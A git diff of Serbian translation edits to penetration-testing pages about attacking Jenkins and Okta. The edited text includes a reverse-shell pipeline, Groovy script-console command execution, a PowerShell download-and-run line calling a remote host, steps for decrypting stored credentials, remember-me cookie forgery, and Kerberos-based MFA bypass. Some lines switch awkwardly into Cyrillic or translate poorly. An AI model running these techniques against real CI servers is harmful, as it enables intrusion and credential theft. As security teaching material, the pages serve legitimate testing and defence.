Eksploatacija](./#post-exploitation). ### Okidači Iz [dokumentacije](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Direktiva `triggers` definiše **automatske načine na koje bi Pipeline trebao biti ponovo aktiviran**. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, `triggers` možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su `cron`, `pollSCM` i `upstream`. -Primer crona: +Primer cron: ```bash triggers { cron('H */4 * * 1-5') } ``` -Check **other examples in the docs**. +Proverite **druge primere u dokumentaciji**. -### Nodes & Agents +### Čvorovi i Agenti -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. +**Jenkins instanca** može imati **različite agente koji rade na različitim mašinama**. Sa perspektive napadača, pristup različitim mašinama znači **različite potencijalne cloud kredencijale** koje se mogu ukrasti ili **različit pristup mreži** koji se može zloupotrebiti za eksploataciju drugih mašina. -For more information check the basic information: +Za više informacija proverite osnovne informacije: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more: +Možete enumerisati **konfigurisane čvorove** u `/computer/`, obično ćete pronaći **`Built-In Node`** (koji je čvor koji pokreće Jenkins) i potencijalno više: ![](<../../images/image (249).png>) -It is **posebno zanimljivo kompromitovati Built-In node** because it contains sensitive Jenkins information. +**Posebno je zanimljivo kompromitovati Built-In čvor** jer sadrži osetljive Jenkins informacije. -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +Da biste naznačili da želite da **pokrenete** **pipeline** u **ugrađenom Jenkins čvoru**, možete uneti sledeću konfiguraciju unutar pipeline-a: ```bash pipeline { agent {label 'built-in'} ``` ### Potpuni primer -Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage env varijablama, učitavajući 2 varijable u koraku i šaljući reverznu ljusku: +Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku: ```bash pipeline { agent {label 'built-in'} @@ -286,7 +286,7 @@ cleanWs() } } ``` -## Arbitrary File Read to RCE +## Pročitajte proizvoljnu datoteku do RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## Post Eksploatacija ### Metasploit ``` @@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins Tajne -Možete da navedete tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo navesti tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**. +Možete nabrojati tajne pristupajući `/credentials/` ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar `credentials.xml` datoteke, ali **datoteke za konfiguraciju gradnje** takođe mogu imati **više kredencijala**. -Ako možete **videti konfiguraciju svakog projekta**, takođe možete videti u njoj **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**. +Ako možete **videti konfiguraciju svakog projekta**, možete takođe videti **imena kredencijala (tajni)** koji se koriste za pristup repozitorijumu i **druge kredencijale projekta**. ![](<../../images/image (180).png>) @@ -326,7 +326,7 @@ Ako možete **videti konfiguraciju svakog projekta**, takođe možete videti u n jenkins-dumping-secrets-from-groovy.md {{#endref}} -#### Sa diska +#### Iz diska Ove datoteke su potrebne za **dešifrovanje Jenkins tajni**: @@ -359,7 +359,7 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` -#### Dešifrovati Jenkins tajne iz Groovy-a +#### Dešifrovanje Jenkins tajni iz Groovy-a ```bash println(hudson.util.Secret.decrypt("{...}")) ``` @@ -369,7 +369,7 @@ println(hudson.util.Secret.decrypt("{...}")) 2. Potražite reč `true` i promenite reč **`true`** u **`false`**. 1. `sed -i -e 's/truefalsetrue` i **ponovo restartujte Jenkins**. ## Reference diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index b75b14559..ff21cef58 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -6,11 +6,11 @@ ### Korisničko ime + Lozinka -Najčešći način prijave u Jenkins je putem korisničkog imena ili lozinke. +Najčešći način prijavljivanja u Jenkins je putem korisničkog imena ili lozinke. ### Kolačić -Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora saznati da je kolačić ukraden). +Ako se **autorizovani kolačić ukrade**, može se koristiti za pristup sesiji korisnika. Kolačić se obično naziva `JSESSIONID.*`. (Korisnik može prekinuti sve svoje sesije, ali prvo mora da sazna da je kolačić ukraden). ### SSO/Pluginovi @@ -31,23 +31,23 @@ U `/configureSecurity` moguće je **konfigurisati metodu autorizacije Jenkins-a* - **Svako može raditi šta hoće**: Čak i anonimni pristup može administrirati server. - **Legacy mode**: Isto kao Jenkins <1.164. Ako imate **"admin" ulogu**, dobićete **potpunu kontrolu** nad sistemom, a **inače** (uključujući **anonimne** korisnike) imaćete **pristup za čitanje**. - **Prijavljeni korisnici mogu raditi šta hoće**: U ovom režimu, svaki **prijavljeni korisnik dobija potpunu kontrolu** nad Jenkins-om. Jedini korisnik koji neće imati potpunu kontrolu je **anonimni korisnik**, koji dobija samo **pristup za čitanje**. -- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimni**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovani**', koji predstavlja **sve autentifikovane korisnike**. +- **Matrix-based security**: Možete konfigurisati **ko može raditi šta** u tabeli. Svaki **stubac** predstavlja **dozvolu**. Svaki **red** **predstavlja** **korisnika ili grupu/ulogu.** Ovo uključuje posebnog korisnika '**anonimno**', koji predstavlja **neautentifikovane korisnike**, kao i '**autentifikovane**', koji predstavljaju **sve autentifikovane korisnike**. ![](<../../images/image (149).png>) - **Strategija autorizacije zasnovana na projektima:** Ovaj režim je **proširenje** na "**Matrix-based security**" koje omogućava dodatnu ACL matricu da bude **definisana za svaki projekat posebno.** - **Strategija zasnovana na rolama:** Omogućava definisanje autorizacija koristeći **strategiju zasnovanu na rolama**. Upravljajte rolama u `/role-strategy`. -## **Sigurnosno područje** +## **Sigurnosno carstvo** -U `/configureSecurity` moguće je **konfigurisati sigurnosno područje.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih područja: +U `/configureSecurity` moguće je **konfigurisati sigurnosno carstvo.** Po defaultu, Jenkins uključuje podršku za nekoliko različitih sigurnosnih carstava: - **Delegirati servlet kontejneru**: Za **delegiranje autentifikacije servlet kontejneru koji pokreće Jenkins kontroler**, kao što je [Jetty](https://www.eclipse.org/jetty/). - **Jenkinsova vlastita baza korisnika:** Koristite **Jenkinsovu ugrađenu bazu podataka korisnika** za autentifikaciju umesto delegiranja na eksterni sistem. Ovo je omogućeno po defaultu. - **LDAP**: Delegirati svu autentifikaciju na konfigurisan LDAP server, uključujući i korisnike i grupe. -- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju. +- **Unix baza korisnika/grupa**: **Delegira autentifikaciju na osnovnu Unix** OS nivo bazu korisnika na Jenkins kontroleru. Ovaj režim će takođe omogućiti ponovnu upotrebu Unix grupa za autorizaciju. -Pluginovi mogu pružiti dodatna sigurnosna područja koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su: +Pluginovi mogu pružiti dodatna sigurnosna carstva koja mogu biti korisna za uključivanje Jenkinsa u postojeće identitetske sisteme, kao što su: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) @@ -59,7 +59,7 @@ Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/): **Čvorovi** su **mašine** na kojima se izvršavaju **agenti za izgradnju**. Jenkins prati svaki priključeni čvor za slobodan prostor na disku, slobodan temp prostor, slobodan swap, vreme/sinkronizaciju sata i vreme odgovora. Čvor se uzima offline ako bilo koja od ovih vrednosti pređe konfigurisani prag. -**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru gde agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini. +**Agenti** **upravljaju** **izvršenjem zadataka** u ime Jenkins kontrolera koristeći **izvršioce**. Agent može koristiti bilo koji operativni sistem koji podržava Javu. Alati potrebni za izgradnje i testove su instalirani na čvoru na kojem agent radi; mogu se **instalirati direktno ili u kontejneru** (Docker ili Kubernetes). Svaki **agent je zapravo proces sa svojim PID** na host mašini. **Izvršilac** je **slot za izvršenje zadataka**; zapravo, to je **nit u agentu**. **Broj izvršilaca** na čvoru definiše broj **paralelnih zadataka** koji se mogu izvršiti na tom čvoru u jednom trenutku. Drugim rečima, ovo određuje **broj paralelnih Pipeline `stages`** koji mogu izvršiti na tom čvoru u jednom trenutku. @@ -67,17 +67,17 @@ Definicije iz [dokumentacije](https://www.jenkins.io/doc/book/managing/nodes/): ### Enkripcija Tajni i Akreditiva -Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenjem odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju ključeva" u kriptožargonu) je **pohranjen \_nekriptovan\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju: +Definicija iz [dokumentacije](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins koristi **AES za enkripciju i zaštitu tajni**, akreditiva i njihovih odgovarajućih ključeva za enkripciju. Ovi ključevi za enkripciju se čuvaju u `$JENKINS_HOME/secrets/` zajedno sa glavnim ključem koji se koristi za zaštitu navedenih ključeva. Ovaj direktorijum treba konfigurisati tako da samo korisnik operativnog sistema pod kojim Jenkins kontroler radi ima pristup za čitanje i pisanje u ovaj direktorijum (tj. `chmod` vrednost `0700` ili korišćenje odgovarajućih atributa datoteka). **Glavni ključ** (ponekad nazvan "ključ za enkripciju" u kriptožargonu) je **pohranjen \_nekriptovano\_** na datotečnom sistemu Jenkins kontrolera u **`$JENKINS_HOME/secrets/master.key`** što ne štiti od napadača sa direktnim pristupom toj datoteci. Većina korisnika i programera će koristiti ove ključeve za enkripciju indirektno putem [Secret](https://javadoc.jenkins.io/byShortName/Secret) API za enkripciju generičkih tajnih podataka ili putem API-ja za akreditive. Za kriptozainteresovane, Jenkins koristi AES u režimu blokovne enkripcije (CBC) sa PKCS#5 punjenjem i nasumičnim IV-ima za enkripciju instanci [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) koje se čuvaju u `$JENKINS_HOME/secrets/` sa imenom datoteke koje odgovara njihovom `CryptoConfidentialKey` id. Uobičajeni id ključeva uključuju: - `hudson.util.Secret`: korišćen za generičke tajne; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: korišćen za neke tipove akreditiva; -- `jenkins.model.Jenkins.crumbSalt`: korišćen od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i +- `jenkins.model.Jenkins.crumbSalt`: koristi se od strane [CSRF zaštitnog mehanizma](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); i ### Pristup Akreditivima -Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisani projekat, ili mogu biti ograničeni na **specifične projekte** (`/job//configure`) i stoga dostupni samo iz specifičnog projekta. +Akreditivi mogu biti **ograničeni na globalne provajdere** (`/credentials/`) kojima može pristupiti bilo koji konfigurisan projekat, ili mogu biti ograničeni na **specifične projekte** (`/job//configure`) i stoga dostupni samo iz specifičnog projekta. -Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** iz redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima. +Prema [**dokumentaciji**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Akreditivi koji su u opsegu su dostupni za pipeline bez ograničenja. Da bi se **sprečilo slučajno izlaganje u logu izgradnje**, akreditivi su **maskirani** od redovnog izlaza, tako da poziv `env` (Linux) ili `set` (Windows), ili programi koji štampaju svoje okruženje ili parametre ne bi **otkrili njih u logu izgradnje** korisnicima koji inače ne bi imali pristup akreditivima. **Zato napadač treba, na primer, da ih base64 kodira da bi ih eksfiltrirao.** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 6ab10baa4..3382d77ba 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -U ovom blog postu je moguće pronaći sjajan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +U ovom blog postu je moguće pronaći odličan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvoljnog kolačića da bi se dobio RCE zloupotrebom lokalnog čitanja datoteka dok ne budem imao vremena da napravim svoj sažetak: ### Attack Prerequisites -- **Feature Requirement:** "Remember me" mora biti omogućeno (podrazumevani postavka). +- **Feature Requirement:** "Remember me" mora biti omogućeno (podrazumevano podešavanje). - **Access Levels:** Napadač treba Overall/Read dozvole. - **Secret Access:** Sposobnost čitanja binarnog i tekstualnog sadržaja iz ključnih datoteka. @@ -52,8 +52,8 @@ token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - **Decrypt MAC Key File:** ```javascript -key = toAes128Key(masterKey) // Pretvori master ključ u AES128 format -decrypted = AES.decrypt(macFile, key) // Dešifruj .mac datoteku +key = toAes128Key(masterKey) // Konvertuje master ključ u AES128 format +decrypted = AES.decrypt(macFile, key) // Dešifruje .mac datoteku if not decrypted.hasSuffix("::::MAGIC::::") return ERROR; macKey = decrypted.withoutSuffix("::::MAGIC::::") @@ -64,8 +64,8 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::") - **Compute HMAC SHA256:** ```javascript -mac = HmacSHA256(token, macKey) // Izračunaj HMAC koristeći token i MAC ključ -tokenSignature = bytesToHexString(mac) // Pretvori MAC u heksadecimalni string +mac = HmacSHA256(token, macKey) // Izračunava HMAC koristeći token i MAC ključ +tokenSignature = bytesToHexString(mac) // Konvertuje MAC u heksadecimalni string ``` **Cookie Encoding** @@ -75,7 +75,7 @@ tokenSignature = bytesToHexString(mac) // Pretvori MAC u heksadecimalni string ```javascript cookie = base64.encode( username + ":" + tokenExpiryTime + ":" + tokenSignature -) // Base64 kodiraj podatke kolačića +) // Base64 kodira podatke kolačića ``` #### Step 3: Code Execution @@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \ - Groovy skripta može se koristiti za izvršavanje komandi na sistemskom nivou ili drugih operacija unutar Jenkins okruženja. -Primer curl komande prikazan pokazuje kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda. +Primer curl komande prikazan je kako bi se pokazalo kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index c6aa4c053..05618562e 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -41,7 +41,7 @@ showRow("something else", it.id, '', '', '') return ``` -#### или овај: +#### ili ovaj: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md index d386cb277..7c3077445 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md @@ -1,4 +1,4 @@ -# Jenkins RCE Creating/Modifying Pipeline +# Jenkins RCE Kreiranje/Modifikovanje Pipelines {{#include ../../banners/hacktricks-training.md}} @@ -32,6 +32,6 @@ Na kraju kliknite na **Save**, i **Build Now** i pipeline će biti izvršen: ## Modifikovanje Pipeline-a -Ako možete pristupiti konfiguracionom fajlu nekog konfigurisanog pipeline-a, možete jednostavno **modifikovati ga dodajući svoj reverzni shell** i zatim ga izvršiti ili čekati da bude izvršen. +Ako možete pristupiti konfiguracionom fajlu nekog konfigurisanog pipeline-a, možete jednostavno **modifikovati dodajući svoj reverzni shell** i zatim ga izvršiti ili čekati da bude izvršen. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md index 08a41a725..2523f7e28 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md @@ -1,32 +1,32 @@ -# Jenkins RCE Creating/Modifying Project +# Jenkins RCE Kreiranje/Modifikovanje Projekta {{#include ../../banners/hacktricks-training.md}} -## Creating a Project +## Kreiranje Projekta -Ova metoda je veoma bučna jer morate da kreirate potpuno novi projekat (očigledno, ovo će raditi samo ako korisniku nije dozvoljeno da kreira novi projekat). +Ova metoda je veoma bučna jer morate da kreirate potpuno novi projekat (očigledno, ovo će raditi samo ako korisnik ima dozvolu da kreira novi projekat). -1. **Kreirajte novi projekat** (Freestyle project) klikom na "New Item" ili u `/view/all/newJob` -2. Unutar **Build** sekcije postavite **Execute shell** i nalepite powershell Empire launcher ili meterpreter powershell (može se dobiti korišćenjem _unicorn_). Pokrenite payload sa _PowerShell.exe_ umesto korišćenja _powershell._ +1. **Kreirajte novi projekat** (Freestyle projekat) klikom na "New Item" ili u `/view/all/newJob` +2. Unutar **Build** sekcije postavite **Execute shell** i nalepite powershell Empire launcher ili meterpreter powershell (može se dobiti korišćenjem _unicorn_). Pokrenite payload sa _PowerShell.exe_ umesto korišćenjem _powershell._ 3. Kliknite na **Build now** 1. Ako **Build now** dugme ne pojavljuje, još uvek možete otići na **configure** --> **Build Triggers** --> `Build periodically` i postaviti cron na `* * * * *` 2. Umesto korišćenja crona, možete koristiti konfiguraciju "**Trigger builds remotely**" gde samo treba da postavite ime api tokena za pokretanje posla. Zatim idite na svoj korisnički profil i **generišite API token** (nazovite ovaj API token kao što ste nazvali api token za pokretanje posla). Na kraju, pokrenite posao sa: **`curl :@/job//build?token=`** ![](<../../images/image (165).png>) -## Modifying a Project +## Modifikovanje Projekta -Idite na projekte i proverite **da li možete da konfigurišete bilo koji** od njih (potražite "Configure button"): +Idite na projekte i proverite **da li možete da konfigurišete bilo koji** od njih (potražite "Configure dugme"): ![](<../../images/image (265).png>) -Ako **ne možete** da vidite nijedno **konfiguraciono** **dugme** onda **ne možete** **konfigurisati** verovatno (ali proverite sve projekte jer možda možete da konfigurišete neke od njih, a ne druge). +Ako **ne možete** da vidite bilo koje **konfiguracijsko** **dugme** onda **ne možete** **konfigurisati** verovatno (ali proverite sve projekte jer možda možete da konfigurišete neke od njih, a ne druge). Ili **pokušajte da pristupite putanji** `/job//configure` ili `/me/my-views/view/all/job//configure` \_\_ u svakom projektu (primer: `/job/Project0/configure` ili `/me/my-views/view/all/job/Project0/configure`). -## Execution +## Izvršenje -Ako vam je dozvoljeno da konfigurišete projekat, možete **učiniti da izvršava komande kada je build uspešan**: +Ako imate dozvolu da konfigurišete projekat, možete **naterati ga da izvršava komande kada je build uspešan**: ![](<../../images/image (98).png>) diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md index 90086d4e8..76dcdaa62 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md @@ -1,13 +1,13 @@ -# Jenkins RCE with Groovy Script +# Jenkins RCE sa Groovy skriptom {{#include ../../banners/hacktricks-training.md}} -## Jenkins RCE with Groovy Script +## Jenkins RCE sa Groovy skriptom -Ovo je manje bučno od kreiranja novog projekta u Jenkinsu +Ovo je manje bučno nego kreiranje novog projekta u Jenkinsu 1. Idite na _path_jenkins/script_ -2. Unutar tekstualnog okvira unesite skriptu +2. Unutar tekstualnog okvira unesite skript ```python def process = "PowerShell.exe ".execute() println "Found text ${process.text}" @@ -16,9 +16,9 @@ Možete izvršiti komandu koristeći: `cmd.exe /c dir` U **linuxu** možete uraditi: **`"ls /".execute().text`** -Ako treba da koristite _navodnike_ i _jednostruke navodnike_ unutar teksta. Možete koristiti _"""PAYLOAD"""_ (trostruki dvostruki navodnici) da izvršite payload. +Ako trebate koristiti _navodnike_ i _jednostruke navodnike_ unutar teksta. Možete koristiti _"""PAYLOAD"""_ (trostruki dvostruki navodnici) za izvršavanje payload-a. -**Još jedan koristan groovy skript** je (zamenite \[INSERT COMMAND]): +**Još jedan koristan groovy skript** je (zameni \[INSERT COMMAND]): ```python def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() @@ -34,19 +34,19 @@ proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr" ``` -### Обратна љуска у Виндовсу +### Обратна љуска у Виндовс -Можете припремити HTTP сервер са PS обрнутом љуском и користити Jeking да је преузмете и извршите: +Можете припремити HTTP сервер са PS обратном љуском и користити Jeking да је преузмете и извршите: ```python scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')" echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0 cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc ``` -### Script +### Скрипт -Možete automatizovati ovaj proces sa [**ovim skriptom**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). +Можете автоматизовати овај процес са [**овим скриптом**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py). -Možete koristiti MSF da dobijete reverznu ljusku: +Можете користити MSF да добијете реверзну шелл: ``` msf> use exploit/multi/http/jenkins_script_console ``` diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md index 22f833374..6bf64ec78 100644 --- a/src/pentesting-ci-cd/okta-security/README.md +++ b/src/pentesting-ci-cd/okta-security/README.md @@ -9,12 +9,12 @@ Glavna ponuda Okta je **Okta Identity Cloud**. Ova platforma obuhvata paket proizvoda, uključujući, ali ne ograničavajući se na: - **Single Sign-On (SSO)**: Pojednostavljuje pristup korisnika omogućavajući jedan set prijavnih podataka za više aplikacija. -- **Multi-Factor Authentication (MFA)**: Povećava bezbednost zahtevajući više oblika verifikacije. +- **Multi-Factor Authentication (MFA)**: Povećava sigurnost zahtevajući više oblika verifikacije. - **Lifecycle Management**: Automatizuje procese kreiranja, ažuriranja i deaktivacije korisničkih naloga. - **Universal Directory**: Omogućava centralizovano upravljanje korisnicima, grupama i uređajima. -- **API Access Management**: Osigurava i upravlja pristupom API-ima. +- **API Access Management**: Osigurava i upravlja pristupom API-jevima. -Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavljenje pristupa korisnicima, poboljšavajući i bezbednost i pogodnost. Svestranost Okta rešenja čini ih popularnim izborom u različitim industrijama, korisnim za velike kompanije, male firme i pojedinačne programere. Na poslednjem ažuriranju u septembru 2021. godine, Okta je priznata kao istaknuta entitet u oblasti upravljanja identitetom i pristupom (IAM). +Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavljenje pristupa korisnicima, poboljšavajući i sigurnost i pogodnost. Svestranost Okta rešenja čini ih popularnim izborom u različitim industrijama, korisnim za velike preduzeća, male kompanije i pojedinačne programere. Na poslednjem ažuriranju u septembru 2021. godine, Okta je priznata kao istaknuta entitet u oblasti upravljanja identitetom i pristupom (IAM). > [!CAUTION] > Glavni cilj Okta je da konfiguriše pristup različitim korisnicima i grupama za spoljne aplikacije. Ako uspete da **kompromitujete administratorske privilegije u Okta** okruženju, verovatno ćete moći da **kompromitujete sve druge platforme koje kompanija koristi**. @@ -24,7 +24,7 @@ Ove usluge zajednički imaju za cilj jačanje zaštite podataka i pojednostavlje ### Sažetak -Postoje **korisnici** (koji mogu biti **smešteni u Okta,** prijavljeni iz konfigurisanih **Identity Providers** ili autentifikovani putem **Active Directory** ili LDAP).\ +Postoje **korisnici** (koji mogu biti **smešteni u Okta,** prijavljeni iz konfigurisane **Identitet Provajdere** ili autentifikovani putem **Active Directory** ili LDAP).\ Ovi korisnici mogu biti unutar **grupa**.\ Postoje i **autentifikatori**: različite opcije za autentifikaciju kao što su lozinka, i nekoliko 2FA kao što su WebAuthn, email, telefon, okta verify (mogu biti omogućeni ili onemogućeni)... @@ -37,43 +37,43 @@ Zatim, postoje **aplikacije** sinhronizovane sa Okta. Svaka aplikacija će imati ## Napadi -### Lociranje Okta Portala +### Lociranje Okta portala -Obično će portal kompanije biti lociran na **companyname.okta.com**. Ako nije, pokušajte jednostavne **varijacije** od **companyname.** Ako ne možete da ga pronađete, takođe je moguće da organizacija ima **CNAME** zapis kao **`okta.companyname.com`** koji upućuje na **Okta portal**. +Obično će portal kompanije biti lociran na **companyname.okta.com**. Ako nije, pokušajte jednostavne **varijacije** **companyname.** Ako ne možete da ga pronađete, takođe je moguće da organizacija ima **CNAME** zapis kao **`okta.companyname.com`** koji upućuje na **Okta portal**. ### Prijava u Okta putem Kerberosa -Ako je **`companyname.kerberos.okta.com`** aktivan, **Kerberos se koristi za pristup Okta**, obično zaobilazeći **MFA** za **Windows** korisnike. Da biste pronašli Kerberos-autentifikovane Okta korisnike u AD, pokrenite **`getST.py`** sa **odgovarajućim parametrima**. Nakon dobijanja **AD korisničkog tiketa**, **ubacite** ga u kontrolisani host koristeći alate kao što su Rubeus ili Mimikatz, osiguravajući da je **`clientname.kerberos.okta.com` u "Intranet" zoni Internet opcija**. Pristup određenom URL-u trebao bi da vrati JSON "OK" odgovor, što ukazuje na prihvatanje Kerberos tiketa, i omogućava pristup Okta kontrolnoj tabli. +Ako je **`companyname.kerberos.okta.com`** aktivan, **Kerberos se koristi za pristup Okta**, obično zaobilazeći **MFA** za **Windows** korisnike. Da biste pronašli Kerberos-autentifikovane Okta korisnike u AD, pokrenite **`getST.py`** sa **odgovarajućim parametrima**. Nakon dobijanja **AD korisničkog 